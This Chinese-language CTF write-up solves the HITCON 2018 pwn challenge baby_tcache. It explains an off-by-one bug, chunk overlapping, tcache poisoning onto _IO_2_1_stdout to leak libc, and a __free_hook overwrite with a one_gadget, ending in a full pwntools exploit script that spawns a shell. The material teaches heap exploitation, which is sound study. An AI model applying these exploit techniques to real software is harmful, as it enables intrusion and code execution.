前言
好久没有更新了,这道题利用的是IO_FILE输出的方式进行泄露libc地址,需要结合着上一篇好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc一起来看,最近参加了安网杯,其中的pwn题也是利用IO_FILE进行输出的题,很幸运获得的第二名的成绩,大佬带飞~ 得抓紧把好好说话系列写完啦~
往期回顾:
好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc
(补题)LCTF2018 PWN easy_heap超详细讲解
好好说话之Tcache Attack(3):tcache stashing unlink attack
好好说话之Tcache Attack(2):tcache dup与tcache house of spirit
好好说话之Tcache Attack(1):tcache基础与tcache poisoning
好好说话之Large Bin Attack
好好说话之Unsorted Bin Attack
好好说话之Fastbin Attack(4):Arbitrary Alloc
(补题)2015 9447 CTF : Search Engine
好好说话之Fastbin Attack(3):Alloc to Stack
好好说话之Fastbin Attack(2):House Of Spirit
好好说话之Fastbin Attack(1):Fastbin Double Free
好好说话之Use After Free
好好说话之unlink
…
编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks♪(・ω・)ノ
HITCON 2018 PWN baby_tcache
检查程序保护
可以看到64位操作系统,保护全开,所以我们在exp中只能使用偏移的形式去定位目标位置。使用的glibc版本为2.27,所以具有tcache机制。后续为了讲解方便,会关闭ASLR保护
静态分析
main()函数
这个程序的main()函数执行流程还是很简单的,这里简单的解读一下:首先定义了一个整形变量v3
,接下来调用了sub_AAB()
函数,这个函数执行的一个闹钟函数。接下来进行一个嵌套的循环,调用sub_BFF()
函数进行友情提示,又调用sub_B27()
函数接收输出的字符串。我们可以根据这两个函数来判断接下来的执行流程。如果输入的字符为1
,则调用sub_C6B()函数创建堆块,输出的字符为2
,则调用sub_D85()函数释放堆块,输出字符串为3
,则调用exit()函数退出
sub_C6B()函数
我们来看一下sub_C6B()
函数,这个函数执行的是创建堆块的功能,前面定义的一些变量就不一一说明了,直接看执行流程:首先进入了一个for循环,循环从0
开始,内部判断i是否大于9,如果大于9则进行友情提示并退出,所以可以推断这个循环实际循环了10
次。循环内部的第二个if判断的是bss段的全局变量qword_202060
中是否存在值,其下标i同样是从0开始的,qword_202060全局变量根据后面的代码来看,里面存放的是堆块的malloc指针,所以这里应该是判断下标id对应位置是否存在已创建的堆块,如果不存在已创建堆块的malloc指针,则跳出整个循环,并保存i的值。接下来提示输出创建堆块的size,调用sub_B27()
函数进行接收,并将接收的数值赋给size变量。接下来进行判断size是否大于0x2000
,如果大于则退出,不大于则创建一个size大小的堆块,并将其malloc指针赋给v3指针变量。接下来判断堆块是否创建成功,不成功则退出
然后提示输出堆块的data,调用sub_B88()
函数接收data内容,在sub_B88()函数中,首先会接收data字符串并判断是否接收成功,在最后一个字节使用00填充。回到sub_C6B()函数,v3[size] = 0
出事了,v3为堆块的malloc指针,如果将size作为下标的话是加上写0的位置是size + 1
,这就造成了off-by-one
漏洞。接下来的部分就比较有意思了,将已创建的堆块的malloc指针
存放在qword_202060
全局变量对应id下标位置,将堆块的size
放在qword_2020C0
全局变量对应id下标的位置。这里和之前的题不太一样,原来的都是利用偏移构造结构体的,但是这里用了两个全局变量来存放malloc指针和size,一会在动态调试阶段我们看一下
根据流程分析结果,编写自动化交互代码:
sub_D85()函数
我们来看一下sub_D85()
函数,这个函数主要的功能是释放堆块,首先提示输出想要释放的堆块的id,调用sub_B27()
函数接收id并赋给v1变量,接下来判断v1是否合法,如果合法则判断全局变量qword_202060
数组下标为id
的位置是否存在堆块的malloc指针,如果存在则调用memset()
函数将堆块的data部分覆盖成0xDADADADA.....
,接下来释放id对应堆块的malloc指针,并将指针置空
,堆块对应size位置置空
。中规中矩,没有出现悬挂指针,没有漏洞出现
根据流程分析结果,编写自动化交互代码:
动态调试及思路分析
现在可以公开的情报
艾伦吞噬战锤巨人后获得了硬质化制造武器的能力- 程序使用的是glibc2.27,存在
tcache
机制 - 程序保护全开,需要依靠
偏移
来确定目标地址 - 已创建的chunk的malloc指针存放在qword_202060中,起始偏移为
0x202060
- 已创建的chunk的size存放在qword_2020C0中,起始偏移为
0x2020C0
- 在创建堆块函数中存在
off-by-one
漏洞 - 程序自身
无输出功能
思路分析
提起来还挺有意思的,我们上次讲解的LCTF2018 PWN easy_heap这道例题没有编辑data的功能,这道HITCON 2018 PWN baby_tcache具有编辑data的功能,但是没有输出功能,后面的题一定也会是缺胳膊少腿的😂
做这道题的思路大体方向还是不变的,因为开启了RELOR保护,所以无法修改GOT,并且题目还给了libc.so,所以最终的目标依然还是向hook中写onegadget。那么我们逆推,如果想要利用onegadget那么必须要知道libc的基地址,libc基地址根据以往的做题经验是需要根据泄露的main_arena + 偏移进行计算的,而泄露main_arena的首要前提是程序中要有输出功能,但很显然这道题并没有
在上一篇文章好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc我们还讲解了通过IO_FILE利用的方式进行泄露libc,这里不太清楚的话,可以点文章标题链接看一下,这种利用方式在这道题中起着至关重要的作用。
在上一篇IO_FILE的文章中我们提及的几个关键点中,必要因素为在_IO_2_1_stdout中部署打印的起始地址。那么如何向_IO_2_1_stdout写呢,这就衔接上了以往的经验,将_IO_2_1_stdout作为一个伪造块启用即可。由于程序中存在off-by-one漏洞,一旦触发漏洞,则会将地址相邻的高地址块的inuse标志位覆盖为0,那么到这我们脑海中第一个应该想到的就是overlapping heap chunk这种利用方法,如果这种利用方式不太熟练,可以看一下之前写过的好好说话之Chunk Extend/Overlapping这篇文章。那么接下来我们要做的第一件事就是构造一个overlapping heap chunk的利用环境
修改目标chunk的prev_size
能够实现overlapping heap chunk的前提条件有两个,一个是目标chunk的prev_size为被包含的chunk的size的总和,目标堆块的inuse标志位为0。那么首先部署第一个条件prev_size。申请7个chunk,size分别为:0x508、0x40、0x50、0x60、0x70、0x508、0x80
可以看到已经创建了7个chunk,我们选择id_5(0x557588b0)
作为目标堆块,那么向前overlapping的话0x557588b0
的prev_size
就需要被修改为0x500(多出8个字节占后一个chunk的prev_szie) + 0x40 + 0x50 + 0x60 + 0x70 = 0x660
。我们只需要将id_4(0x55758840)
这个堆块释放进tcache,再重新申请一个size为0x78
的chunk,那么0x55758840
就会被重新启用,并且其data区域会延展到id_5(0x557588b0)
的prev_size区域,这个时候再prev_size的位置进行覆盖\x60\x06
(小端序)即可
释放id_4(0x55758840)
后:
可以看到0x55758840
已经进入了tcache bin中,接下来我们重新申请一个size为0x68
的chunk,根据地址对齐以及堆块结构,0x55758840
将会被启用,并且data区域会延伸至相邻高地址目标堆块0x557588b0
的prev_size区域。那么在申请的同时我们向0x55758840
写入0x60
长度的随意字符串,在最后八个字节写上\x60\x06
(小端序):
可以看到目标对块0x55758840
的prev_size已经被修改为相邻低地址位的5个堆块的size总和,并且由于off-by-one漏洞,目标堆块的inuse标志位被覆盖为0。
实现代码:
alloc(0x500-0x8) # 0
alloc(0x30) # 1
alloc(0x40) # 2
alloc(0x50) # 3
alloc(0x60) # 4
alloc(0x500 - 0x8) # 5
alloc(0x70) # 6
delete(4)
alloc(0x68, 'A'*0x60 + '\x60\x06') # 设置chunk5的prev_size为0x660
将_IO_2_1_stdout挂进tcache bin中
这部分内容由于想将思路讲的详细一点,所以会比较长,希望能够耐心看完
通过前面的步骤我们已经完成了对chunk5的prev_size和inuse标志位的修改,现在可能你还不是很明白我们为什么要向前extend 5个chunk,这是为了后续做准备,那么现在我们需要考虑的就是如何向\_IO\_2\_1\_stdout
中部署伪造结构。还是一样的思路,我们将\_IO\_2\_1\_stdout\
所在地址作为一个fake_chunk的data部分,那么我们申请这个fake_chunk的时候就可以进行部署了。接下来我们需要思考的就是fake_chunk应该在哪里被调用,这道题中是具有tcache的,所以将fake_chunk放在tcache bin中更加方便一点,因为tcache bin的检查并不严谨
那我们要想的就是将fake_chunk放在tcache bin中,再往前想一步,如果我们将某一个大小合适的chunk(后记t_chunk)释放进tcache bin,再修改该t_chunk的fd
,使其指向\_IO\_2\_1\_stdout
所在地址就可以了。
那再向前想一步我们应该选择哪个堆块作为t_chunk呢,这里我们选择chunk2(0x55555575b790),原因有两个:
chunk2(0x55555575b790)
的size为0x50
,在释放后可以挂在tcache中- 接下来我们还需要去释放chunk0和chunk5,那么就不能去释放chunk1,因为这样会避免chunk0在释放后与top_chunk合并
我们应该如何在t_chunk释放状态下修改其fd呢,这就用到了前面修改chunk5的prev_size和inuse标志位的准备了。我们在一开始的时候就设计好了将chunk0和chunk5的size设置为一个超过fast bin大小的值0x508
,那么如果先释放chunk0(0x55555575b250)
的话,0x55555575b250就会落unsorted bin
中
这里需要注意一下0x55555575b250
的size,此时还是0x500
(下一个块prev_size位还有8字节),那么如果紧接着释放chunk5(0x55555575b8b0)
就会与0x55555575b250合并
为一个大块,我们看一下合并之后chunk0(0x55555575b250)的size大小:
是不是有点蒙😂,为什么size变成了0xb60,怎么算0x500 + 0x500也不等于0xb60啊😂。我们再来看一下此时chunk5(0x55555575b8b0)
中的情况:
可以看到chunk5的prev_size在之前被修改成了0x660
,并且inuse标志位为0。unsorted合并堆块的原理,后一个合并块的prev_size会标记前几个堆块的size总和。由于chunk5(0x55555575b8b0)的prev_size为chunk0_size(0x500) + chunk1_size(0x40) + chunk2_size(0x50) + chunk3_size(0x60) + chunk4_size(0x70)
,那么就意味着chunk1、chunk2、chunk3、chunk4连同chunk5一起与chunk0合并在一起,所以此时chunk0的size标志位为0x500 +0x660 = 0xb60
。所以,如果我们重新分配这个大块的话,其实可以重新启用chunk0、chunk1、chunk2、chunk3、chunk4、chunk5中任意一个chunk
现在我们将前6个堆块合并成为一个大的堆块,这时第一反应就是unsorted bin堆块分割原理
,此时合并大堆块的fd和bk同时指向main_arena,如果我们将这个大堆块分割出去一部分,剩下的堆块的fd和bk依然还会指向main_arena:
从上图中可以看到,0x55555575b7a0
是之前释放进tcache中的chunk2
的malloc指针,chunk2又在合并的大堆块中,结合着堆块分割原理,如果我们分割一部分堆块,使得chunk2刚好作为分割剩下堆块的头部,那么chunk2的malloc指针,即fd同样也会指向unsorted bin的main_arena
,这样一来tcache bin中就会认为chunk2是紧跟着以main_arena为fd的伪造堆块
之后释放的堆块
那么这里就需要计算一下我们分割出多大的空间之后才能达到上述的效果:
- chunk0大小为0x500(不算chunk1的prev_size)
- chunk1的大小为0x40
- 0x500 + 0x40 = 0x540
- 分割整体堆块大小为0x540,那么malloc(0x530)
也就是说我们从合并块中分割出0x540(含头部)
大小的堆块就会将chunk2放在切割剩余块的头部:
可以看到,在分割后tcache中的chunk2此时的fd
指向的就是unsorted bin中的main_arena
,以main_arena为fd的堆块就被挂进tcache bin中了。既然main_arena已经进tcache了,那么_IO_2_1_stdout就不远了。虽然这道题开启了随机化,但是随机的也只是main_arena和_IO_2_1_stdout基地址
而已,_IO_2_1_stdout距离基地址的偏移是不变的,所以我们修改chunk2的fd的低两个字节为0x0760
,那么原本指向的main_arena
就会变为指向\_IO\_2\_1\_stdout
接下来需要考虑的是怎么才能修改chunk2的低两个字节,首先个道题在释放堆块的时候将malloc指针置空了,所以不会出现UAF的现象,那么只能通过申请unsorted bin中堆块的方式来修改chunk2的fd指针(从unsorted bin中申请的堆块会保留fd和bk指针)。因此我们在去申请一个0xa0
大小的堆块(大小选择见下方解释),并且内容填写为\x60\x07
(小端序),这样一来就可以覆盖原有fd指向的main_arena的低两个为\_IO\_2\_1\_stdout
:
在申请0xa0堆块之前,需要先将chunk4释放进tcache bin中,后续步骤需要
这里申请0xa0大小的堆块,也是为了让chunk4的fd指向main_arena,因为chunk2_size + chunk3_size - 0x10= 0x50 + 0x60 - 0x10 = 0xa0
可以看到在修改完chunk2的低两位地址后_IO_2_1_stdout就被挂进了tcache bin中
实现代码:
delete(2) # 挂进tcache bin中准备
delete(0) # 释放进unsorted bin中使其fd指向main_arena,为后续分割做准备
delete(5) # 向前extend:chunk0、chunk1、chunk2、chunk3、chunk4、chunk5合并成一个大堆块
alloc(0x530) # 分割走chunk0、chunk1,使chunk2_fd指向main_arena
delete(4) # 为后续做准备
alloc(0xa0, '\x60\x07') # 继续分割走chunk2、chunk3,使chunk4_fd指向main_arena,为后续准备
利用_IO_2_1_stdout泄露libc
既然现在已经将\_IO\_2\_1\_stdout
挂进了tcache bin中,那么接下来只需要连续申请两次即可将以_IO_2_1_stdout所在地址为fd的伪造堆块重启,首先我们申请一个size为0x50大小的堆块,使得伪造堆块处于tcache bin0x50的顶部:
接下来我们在申请一个堆块,就可以向_IO_2_1_stdout中部署结构体内容了。我们回顾一下上一篇文章好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc中的知识点,如果想要利用IO_FILE进行泄露,那么就需要准备:
- 需要将flag部署为0xFBAD1800
- 需要将_IO_read_ptr、_IO_read_end、_IO_read_base覆盖为0
- 将_IO_write_base处地址尽可能的靠前(尽可能多的打印内容),也就是说可以将最后一个字节设置为\x00
如果对上述三点不太理解,请仔细阅读上一篇文章好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc
这样一来我们就可以构造payload了:
payload = p64(0xfbad1800) + p64(0) * 3 + '\x00'
看一下修改之后stdout中的的情况(修改之后的变化情况不太好找,会在文章末尾描述查找步骤)
可以看到stdout中的内容已经部署好了,那么就会将从0x7ffff7dd0700至0x7ffff7dd07e3这段缓冲区中的内容打印出来,其中就有我们想要的libc地址
可以看到从0x7ffff7dd0700开始第9个字节开始就是我们要泄露的leak_libc,接下来就是接收后减去固定偏移0x3ed8b0就可以得到libc的基地址了!
alloc(0x40, 'a') # 使得stdout处于tcache的头部,为接下来的启用做准备
#gdb.attach(hollk) # 如果想看到stdout中修改后的变化,需要在这里调用gdb进行内存监控
# 部署stdout中的各个成员变量
alloc(0x3e, p64(0xfbad1800) + p64(0) * 3 + '\x00')
# p64(0xfbad1800):部署flag输出
# p64(0) * 3:部署_IO_read_ptr、_IO_read_end、_IO_read_base为0
# '\x00' :部署_IO_write_base最后一个字节为\x00,使得输出缓冲区变大
info1 = hollk.recv(8) # 接收泄露出来的leak_libc
libc.address = u64(info1) - 0x3ed8b0 # 计算libc基地址
log.info("libc @ " + hex(libc.address)) # 输出libc基地址
寻找onegadget
既然libc的基地址已经泄露出来了,剩下的事情就很好办了,在此之前我们还需要查找一个.so文件中one_gadget,使用命令:
one_gadget libc.so.6
可以看到查找到三段one_gadget,我们选择第二个0x4f322作为接下来要使用的one_gadget
getshell!!!
接下来就很简单了,还记得在前面将main_arena修改成stdout前我们释放了chunk4吗,我们将chunk4挂进了tcache bin中,并且分割unsorted bin中的大块,使得chunk4同样在unsorted bin的头部。这样一来我们就可以申请两次chunk4所在的内存空间了,首先我们先申请一个0xb0大小的堆块,启用unsorted bin中的chunk4,并在其中部署free_hook地址
这样一来tcache bin中的chunk4就会受到影响,chunk4经过写入free_hook地址后,bin会以为其fd指向的是free_hook,这样一来free_hook就被当做一个堆块挂进tcache bin中了。那么接下来我们再申请一个0x70大小的堆块,使得chunk4倍重新启用,并且将free_hook至于tcache bin的顶部
接下来,只需要再次申请一个0x70大小的堆块,就可以将free_hook作为堆块重启,并且向其中写入one_gadget地址,就可以挂钩子了
最后我们只需要将最开始释放的chunk0释放掉就可以触发hook了!
实现代码:
alloc(0xa0, p64(libc.symbols['__free_hook'])) # 从unsorted bin中申请chunk4,部署free_hook
alloc(0x60, "A") # 重启chunk4,使其fd指向的free_hook移动到tcache bin头部
alloc(0x60, p64(libc.address + 0x4f322)) # 启用free_hook堆块,并向其中写one_gadget
delete(0) # 触发hook,拿shell
EXP
1 from pwn import *
2 hollk = process('./hollk')
3
4 libc = ELF("./libc.so.6")
5
6 def menu(opt):
7 hollk.sendlineafter("Your choice: ",str(opt))
8
9 def alloc(size,data='hollk'):
10 menu(1)
11 hollk.sendlineafter("Size:",str(size))
12 hollk.sendafter("Data:",data)
13
14 def delete(idx):
15 menu(2)
16 hollk.sendlineafter("Index:",str(idx))
17
18 def exp():
19 alloc(0x500-0x8) # 0 进unsorted bin
20 alloc(0x30) # 1
21 alloc(0x40) # 2
22 alloc(0x50) # 3
23 alloc(0x60) # 4
24 alloc(0x500 - 0x8) # 5 进unsorted bin
25 alloc(0x70) # 6
26
27 delete(4)
28 alloc(0x68, 'A'*0x60 + '\x60\x06') # 设置chunk5的prev_size为0x660
29
30 delete(2) # 挂进tcache bin中准备
31 delete(0) # 释放进unsorted bin中使其fd指向main_arena,为后续分割做准备
32 delete(5) # 向前extend:chunk0、chunk1、chunk2、chunk3、chunk4、chunk5合并成一个大堆块
33 alloc(0x530) # 分割走chunk0、chunk1,使chunk2_fd指向main_arena
34 delete(4) # 为后续写free_hook做准备
35 alloc(0xa0, '\x60\x07') # 继续分割走chunk2、chunk3,使chunk4_fd指向main_arena,为后续准备
36
37 alloc(0x40, 'a') # 使得stdout处于tcache的头部,为接下来的启用做准备
38 #gdb.attach(hollk) # 如果想看到stdout中修改后的变化,需要在这里调用gdb进行内存监控
39
40 # 部署stdout中的各个成员变量
41 alloc(0x3e, p64(0xfbad1800) + p64(0) * 3 + '\x00')
42 # p64(0xfbad1800):部署flag输出
43 # p64(0) * 3:部署_IO_read_ptr、_IO_read_end、_IO_read_base为0
44 # '\x00' :部署_IO_write_base最后一个字节为\x00,使得输出缓冲区变大
45
46 info1 = hollk.recv(8) # 接收泄露出来的leak_libc
47 libc.address = u64(info1) - 0x3ed8b0 # 计算libc基地址,0x3ed8b0为固定偏移
48 log.info("libc @ " + hex(libc.address)) # 输出libc基地址
49
50 alloc(0xa0, p64(libc.symbols['__free_hook'])) # 从unsorted bin中申请chunk4,部署free_hook
51 alloc(0x60, "A") # 重启chunk4,使其fd指向的free_hook移动到tcache bin头部
52 alloc(0x60, p64(libc.address + 0x4f322)) # 启用free_hook堆块,并向其中写one_gadget
53
54 delete(0) # 触发hook,拿shell
55 hollk.interactive()
56
57 if __name__=='__main__':
58 exp()